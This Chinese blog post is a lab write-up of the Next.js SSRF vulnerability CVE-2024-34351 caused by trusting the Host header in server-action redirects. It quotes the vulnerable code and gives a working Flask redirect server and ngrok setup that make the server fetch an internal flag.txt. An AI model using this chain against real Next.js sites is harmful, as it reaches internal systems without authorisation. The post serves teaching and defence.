【网络安全】「漏洞复现」(五)从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害

前言

本篇博文是《从0到1学习安全测试》中漏洞复现 系列的第 篇博文,主要内容是通过代码审计以及场景复现一个 NextJS 的安全漏洞(CVE-2024-34351)来讲述滥用 Host 头的危害 ,往期系列文章请访问博主的 安全测试 专栏;

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

Host 概念介绍

Host 是什么

当你在浏览器中输入一个网址并回车时,你的浏览器会发送一个 HTTP 请求到相应的服务器以获取网页内容,在这个 HTTP 请求中,会有一个叫做 "Host" 的字段,"Host" 字段标识了 HTTP 请求中所访问的主机名或域名。

在 HTTP/1.1 协议中,这个字段是必需的,它告诉服务器请求是发送到哪个具体的主机。

在上述流量中,"Host" 字段的值是 "www.baidu.com" ,这告诉服务器,当前这个请求是为了获取 www.baidu.com 上的资源。

Host 的作用

当用户通过域名请求一个网站时,首先会进行 DNS 查询,将域名解析为对应的 IP 地址。在传统模式中,一个 IP 地址只能对应一个服务器的一个端口,通常使用默认的80端口或443端口。但是,我们想要在同一台服务器上运营多个网站,这要如何实现呢?

其中一种解决方案是利用 HTTP 请求头中的 "Host" 字段来区分用户访问的网站。服务器可以根据 "Host" 字段转发请求到对应的网站,这样就能实现一台服务器上运营多个网站。

Host 滥用危害

在正常情况下,Host 头部用于指示用户访问的域名,然而,攻击者可以通过修改 Host 头部来欺骗服务器,使其认为用户访问的是受信任的域名,从而绕过安全检查。

具体而言,攻击者可以构造一个恶意的 Host 头部,将其设置为目标服务器上的受信任域名。当服务器接收到请求时,它会根据 Host 头部来确定用户访问的站点,并执行相应的逻辑。攻击者可以利用这个漏洞来执行未经授权的操作,例如访问敏感数据、执行恶意代码等。

Host 滥用可能会导致以下一些危害:

  1. XSS、SSRF、SQL 注入等;
  2. 未授权访问;
  3. 网页缓存污染;
  4. 密码重置污染;
  5. ...

接下来以 CVE-2024-34351 为例进行详细讲解,它是一个源自 NextJS 中的安全漏洞,该漏洞的利用方式是通过恶意构造的 Host 头部来触发 SSRF。

NextJS 既是客户端库,又提供了一个功能齐全的服务器端框架,但这一特性却让 hacker 有机可乘。在用户调用服务器接口,并且服务器以重定向进行响应时,它会调用以下函数:

js 复制代码
async function createRedirectRenderResult(
  req: IncomingMessage,
  res: ServerResponse,
  redirectUrl: string,
  basePath: string,
  staticGenerationStore: StaticGenerationStore
) {
  ...
  if (redirectUrl.startsWith('/')) {
    ...
    const host = req.headers['host']
    ...
    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
    ...
    try {
      const headResponse = await fetch(fetchUrl, {
        method: 'HEAD',
        headers: forwardedHeaders,
        next: {
          // @ts-ignore
          internal: 1,
        },
      })

      if (
        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER
      ) {
        const response = await fetch(fetchUrl, {
          method: 'GET',
          headers: forwardedHeaders,
          next: {
            // @ts-ignore
            internal: 1,
          },
        })
        ...
        return new FlightRenderResult(response.body!)
      }
    } catch (err) {
      ...
    }
  }

  return RenderResult.fromStatic('{}')
}

根据上述代码可以发现,如果重定向路径以 / 开头,服务器会请求 fetchUrl 资源返回给客户端,而不是直接将客户端直接重定向到 fetchUrl

fetchUrl 中的目标地址正是来自客户端请求头中的 Host 参数:

js 复制代码
const host = req.headers['host'] 
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)

如果我们伪造指向内部主机的 Host 头,NextJS 将尝试从该主机而不是应用程序本身获取响应,从而导致 SSRF。

下面我们将通过场景复现的形式来进一步讲解,同时也能够加深读者的理解。

Host 漏洞复现

现在有一个 WEB 程序,目录结构如下所示:

yaml 复制代码
Archive:  log-action.zip
   creating: log-action/
   creating: log-action/backend/
  inflating: log-action/backend/flag.txt  
  inflating: log-action/docker-compose.yml  
   creating: log-action/frontend/
  inflating: log-action/frontend/.gitignore  
  inflating: log-action/frontend/Dockerfile  
  inflating: log-action/frontend/entrypoint.sh  
  inflating: log-action/frontend/next-env.d.ts  
  inflating: log-action/frontend/next.config.mjs  
  inflating: log-action/frontend/package-lock.json  
  inflating: log-action/frontend/package.json  
  inflating: log-action/frontend/postcss.config.mjs  
   creating: log-action/frontend/src/
   creating: log-action/frontend/src/app/
   creating: log-action/frontend/src/app/admin/
  inflating: log-action/frontend/src/app/admin/page.tsx  
  inflating: log-action/frontend/src/app/global.css  
  inflating: log-action/frontend/src/app/layout.tsx  
   creating: log-action/frontend/src/app/login/
  inflating: log-action/frontend/src/app/login/page.tsx  
   creating: log-action/frontend/src/app/logout/
  inflating: log-action/frontend/src/app/logout/page.tsx  
  inflating: log-action/frontend/src/app/page.tsx  
  inflating: log-action/frontend/src/auth.config.ts  
  inflating: log-action/frontend/src/auth.ts  
   creating: log-action/frontend/src/lib/
  inflating: log-action/frontend/src/lib/actions.ts  
  inflating: log-action/frontend/src/middleware.ts  
  inflating: log-action/frontend/tailwind.config.ts  
  inflating: log-action/frontend/tsconfig.json  

我们的目的是获取到 log-action/backend/flag.txt 里的内容。当前 log-action/backend/flag.txt 通过 Nginx 挂载到 /usr/share/nginx/html/flag.txt,因此,我们只需要到达内部 Nginx,即可访问 http://<后端IP>/flag.txt 来获取到文件内容。

这里利用了 Next.js 在服务器操作中的 SSRF 漏洞(CVE-2024-34351)。当我们调用一个服务器动作时,它会通过异步函数 createRedirectRenderResult() 来响应一个重定向。Tip: 已在上文进行分析。

而 WEB 应用程序源代码中的注销页面 log-action/frontend/src/app/logout/page.tsx 刚好符合上述条件,它使用服务器操作 "use server";redirect() 函数将客户端重定向到 /login

当我们点击注销页面的 "Log out" 按钮时,它会发送以下 POST 请求:

因为重定向路径以 / 开头,它首先获取重定向路径的响应,然后将响应返回给客户端,而不是直接重定向到客户端,因此我们可以利用此特性,让服务器端使用 Host 头从任何来源获取任何资源。

在本地创建一个 Flask 应用程序,代码如下所示:

py 复制代码
from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/login')
def exploit():
    if request.method == 'HEAD':
        response = Response()
        response.headers['Content-Type'] = 'text/x-component'
        return response
    elif request.method == 'GET':
        return 'After CORS preflight check'

if __name__ == '__main__':
    app.run(port=80, debug=True)

Tip

代码里的路由为 /login 是没有问题的,因为我们的下一个动作就是 redirect("/login")

这是 NextJS 的特性,它使用 Next-Action ID 来唯一标识我们下一步要采取的动作,因此只要我们传递对应的 Next-Action 标头就会触发动作,而不用去关心具体的路由。

通过 ngrok 进行端口转发:

perl 复制代码
Forwarding                    https://1593-{REDACTED}.ngrok-free.app -> http://localhost:80

重新发送 /logout 请求,请求结果如下所示:

可以发现我们成功地获取到了响应体,那么接下来我们只要更改成 Flask 的代码,将服务器端的 fetch 重定向到我们想要的资源即可,修改代码如下所示:

py 复制代码
@app.route('/login')
def exploit():
    if request.method == 'HEAD':
        ...
    elif request.method == 'GET':
        ip = '后端IP'
        return redirect(f'http://{ip}/flag.txt')

运行结果:

为了修复这个漏洞,开发者应该在处理重定向逻辑时,对 Host 头部进行严格的验证和过滤,确保只接受受信任的域名,并对非法的 Host 头部进行拒绝或适当的处理。

后记

在本文中,我们通过分析 NextJS SSRF 漏洞(CVE-2024-34351),展示了滥用 Host 头所带来的危害。通过对 Host 的概念介绍和滥用危害的详细讨论,我们希望读者能够加深对这一问题的理解,并在开发和维护应用程序时更加重视和注意 Host 头的安全使用。

以上就是博文 从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害 的所有内容了,希望本篇博文对大家有所帮助!欢迎大家持续关注我的博客,一起分享学习和成长的乐趣!✨

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

📝 上篇精讲:(四)NodeBB 被爆未授权拒绝服务攻击

💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;

👍 公众号:sidiot的技术驿站

🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试

相关推荐
永乐春秋40 分钟前
WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性
前端
鸽鸽程序猿41 分钟前
【前端】CSS
前端·css
ggdpzhk43 分钟前
VUE:基于MVVN的前端js框架
前端·javascript·vue.js
学不会•3 小时前
css数据不固定情况下,循环加不同背景颜色
前端·javascript·html
EasyNVR4 小时前
NVR管理平台EasyNVR多个NVR同时管理:全方位安防监控视频融合云平台方案
安全·音视频·监控·视频监控
活宝小娜5 小时前
vue不刷新浏览器更新页面的方法
前端·javascript·vue.js
程序视点5 小时前
【Vue3新工具】Pinia.js:提升开发效率,更轻量、更高效的状态管理方案!
前端·javascript·vue.js·typescript·vue·ecmascript
coldriversnow5 小时前
在Vue中,vue document.onkeydown 无效
前端·javascript·vue.js
我开心就好o5 小时前
uniapp点左上角返回键, 重复来回跳转的问题 解决方案
前端·javascript·uni-app
开心工作室_kaic6 小时前
ssm161基于web的资源共享平台的共享与开发+jsp(论文+源码)_kaic
java·开发语言·前端